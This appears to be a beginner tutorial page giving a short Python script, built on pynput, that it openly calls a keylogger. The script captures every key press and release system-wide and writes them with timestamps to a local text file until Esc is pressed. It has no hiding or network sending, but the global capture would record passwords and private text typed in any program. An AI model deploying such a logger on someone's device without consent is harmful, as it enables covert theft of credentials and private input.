Python 3 Pynput Keylogger Script to Save Keystrokes inside Notepad Log TXT File Full Project For Beginners

 

 

pip install pynput

 

 

After installing this library you need to make an app.py file and copy paste the following code

 

 

app.py

 

 

from pynput.keyboard import Key, Listener
import time

fp = open(r"LogTXT_{}.txt".format(time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())),"w") # open the file

def on_press(key):
    print('{0} pressed'.format(key))
    fp.write('{} pressed at time:{}\n\n'.format(key,time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime()))) # write it.

def on_release(key):
    print('{0} release'.format(key))
    fp.write('{} release at time:{}\n\n'.format(key,time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())))
    if key == Key.esc:
        fp.write("End Press") # press esc.Exit the script
        fp.close()
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

 

 

 

 

Leave a Reply